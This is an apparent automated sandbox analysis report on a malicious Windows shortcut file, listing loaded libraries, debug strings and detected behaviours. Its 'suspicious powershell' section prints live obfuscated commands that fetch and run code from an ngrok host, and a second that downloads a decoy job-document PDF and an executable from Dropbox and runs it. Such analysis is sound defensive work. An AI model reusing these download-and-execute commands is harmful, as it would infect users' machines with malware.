Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Section loaded: k7rn7l32.dll
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Section loaded: ntd3ll.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Section loaded: mswsock.dll

Source: C:\Windows\SysWOW64\fontdrvhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: IIC0XbKFjS.lnk

LNK file: ..\..\..\..\Windows\System32\cmd.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: softy.pdb source: powershell.exe, 00000016.00000002.3106650799.0000013E7F7BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbF source: powershell.exe, 00000016.00000002.3107657952.0000013E7F8A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000016.00000002.3105805863.000001367E1F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122900332.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123074773.0000000005500000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000016.00000002.3107075426.0000013E7F84D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123968132.0000000005600000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123749543.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\assassin\assassin-playground\dx10_integration\main\output\win32\exe\scimitar_dx10_f.pdb source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3116113891.000000000177E000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000002.3133030862.000000000177E000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: ntdll.pdb source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3120693883.00000000055D0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3119655290.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 00000026.00000003.3126927887.00000000057C0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122118011.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122340147.0000000005580000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3120693883.00000000055D0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3119655290.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 00000026.00000003.3126927887.00000000057C0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122118011.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122340147.0000000005580000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: Horlib.pdb source: powershell.exe, 00000016.00000002.3105805863.000001367E1F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123968132.0000000005600000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123749543.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122900332.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123074773.0000000005500000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *on.pdb source: powershell.exe, 00000016.00000002.3106650799.0000013E7F7AA000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Unpacked PE file: 33.2.9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe.4990000.2.unpack

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }"

Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe.22.dr	Static PE information: section name: _RDATA
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe.22.dr	Static PE information: section name: .data1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD340B42F0 pushad ; ret	4_2_00007FFD340B42FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD340C845E push eax; ret	22_2_00007FFD340C846D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD340C00BD pushad ; iretd	22_2_00007FFD340C00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD340C8426 pushad ; ret	22_2_00007FFD340C845D
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C6A0F9 push FFFFFF82h; iretd	37_3_02C6A0FB
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C6D8A0 push 0000002Eh; iretd	37_3_02C6D8A2
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C6A840 push ebp; retf	37_3_02C6A841
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C6B86D push ebx; ret	37_3_02C6B864
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C6E80E push eax; iretd	37_3_02C6E81D
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C6E83C pushad ; ret	37_3_02C6E841
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C6B1DD push eax; ret	37_3_02C6B1DF
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C68904 push ecx; ret	37_3_02C68917
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C69F6A push eax; ret	37_3_02C69F75
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C6B70B push ebx; ret	37_3_02C6B864
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C6E586 pushad ; retf	37_3_02C6E599
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_03254920 push 0000002Eh; iretd	38_3_03254922
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_03255F0C push es; iretd	38_3_03255F0D
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_03251179 push FFFFFF82h; iretd	38_3_0325117B
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_0325278B push ebx; ret	38_3_032528E4
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_03255FEE push FFFFFFD2h; retf	38_3_03256011
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_03250FEA push eax; ret	38_3_03250FF5
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_03255606 pushad ; retf	38_3_03255619
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_03256012 push 00000038h; iretd	38_3_0325601D
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_0325225D push eax; ret	38_3_0325225F
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_032558BC pushad ; ret	38_3_032558C1
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_0325588E push eax; iretd	38_3_0325589D
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_032528ED push ebx; ret	38_3_032528E4
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 38_3_032518C0 push ebp; retf	38_3_032518C1

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
